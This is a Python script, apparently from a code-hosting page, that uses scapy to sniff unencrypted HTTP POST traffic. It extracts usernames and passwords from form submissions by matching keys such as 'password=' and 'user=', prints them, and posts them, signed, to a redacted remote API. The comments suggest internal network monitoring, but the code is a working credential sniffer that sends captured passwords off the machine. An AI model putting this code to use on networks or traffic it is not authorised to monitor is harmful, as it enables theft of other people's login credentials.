1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
|
#pylint: disable=C0103, C0301, C0325
import json
import urllib
import logging
import requests #http request library, api access
from requests.exceptions import ConnectionError #has to be explicit, not auto-included?
from OpenSSL import crypto #If you're going to engineer it, overengineer it
import base64
from scapy.all import *
try:
import scapy_http.http
except ImportError:
from scapy.layers import http #complicated because this layer was originally a third-party addin, but now included
#Change the following line to change log verbosity
# ** DO NOT deploy with logging.DEBUG or passwords will be logged to the configured destination! This is a bad thing!
logging.basicConfig(filename='sniffer.log', filemode='w', level=logging.INFO)
post_headers = {'Content-Type': 'application/json', 'Connection' : 'close'}
passlist = {
"password=", "Password=", "pass=", "Pass=", "pwd=", "PWD=", "secret="
} #add more keys here to scrape out of POSTS
userlist = {
"user=", "User=", "username=", "Username=", "usr=", "login=",
"Login=", "name=", "Name=", "email=", "Email=", "auth", "Auth",
"log=", "Log="
} #add more keys here to scrape out of POSTS
APIURI = "https://lol.nope/redacted"
infra_client_ID = "ALSO-REDACT" #ID provided by infra apps
key_file = open("private.pem", "r") #don't send this file to anyone mkay
shakey = key_file.read()
key_file.close()
if shakey.startswith('-----BEGIN '):
pkey = crypto.load_privatekey(crypto.FILETYPE_PEM, shakey)
else:
pkey = crypto.load_pkcs12(shakey).get_privatekey()
def packet_handler(pkt): #Called as a handler for scapy below
try:
if pkt[2][1].Method == "POST":
#logging.debug(pkt[2][1].Host + pkt[2][1].Path)
#(getattr(pkt[2][1], "Content-Type")) How you have to access this parm because - are not valid in var names?!?
if getattr(pkt[2][1], "Content-Type") == "application/x-www-form-urlencoded":
#print bytes(pkt.payload)
raw_form = bytes(pkt[2][2])
splitified = raw_form.split("\r\n\r\n") #split on double crlf as per http spec, this will be content
for passw in passlist:
if passw in splitified[1]:
logging.debug(splitified)
for userstr in userlist:
if userstr in splitified[1]:
user_rip = urllib.unquote(splitified[1].split(userstr)[1].split("&")[0]).encode('utf-8').strip()
try:
print(user_rip)
except UnboundLocalError: #username not found in blob; bail
logging.debug("username bail")
break
pass_rip = urllib.unquote(splitified[1].split(passw)[1].split("&")[0]).encode('utf-8').strip()
try:
print(pass_rip)
except UnboundLocalError: #password not found in blob; bail
logging.debug("password bail")
break
json_data = \
{
'username': user_rip,
'password': pass_rip,
'destination_ip': pkt[IP].dst,
'destination_port': pkt[TCP].dport,
'service': "http",
'url': pkt[2][1].Host + pkt[2][1].Path
}
json_parsed_results = json.dumps(json_data)
logging.debug(json_parsed_results)
#sign the json
signature = "SHA256 Credential=" + infra_client_ID + ",Signature=" + \
base64.b64encode(crypto.sign(pkey, json_parsed_results, "sha256"))
logging.debug(signature)
post_headers['Authorization'] = signature
logging.info("Password sniffed; Source: " + pkt[IP].src + \
", u: " + json_data['username'] + \
", dest: " + json_data['destination_ip'] + \
", url: " + json_data['url'])
res = requests.post(APIURI, data=json_parsed_results, headers=post_headers)
logging.info("API response was: " + str(res))
except IndexError:
pass #for debug, remove or handle me
except AttributeError:
pass #for debug, remove or handle me
except ConnectionError:
logging.error("Failed to connect to infra apps endpoint; Continuing, but previous request has been discarded!")
#scapy filters uses BPF filters on an intel nic which is compiled to bytecode on the nic and as a result is very fast but behaviour on other platforms may be "undefined"
results = sniff(iface="enp10s0", prn=packet_handler, filter="tcp port 80 and (src net xxx.xxx.xxx.xxx mask xxx.xxx.0.0 or src net xxx.xxx.0.0 mask xxx.xxx.0.0)", store=0)
print(results) #just to see how many packets are dropping
|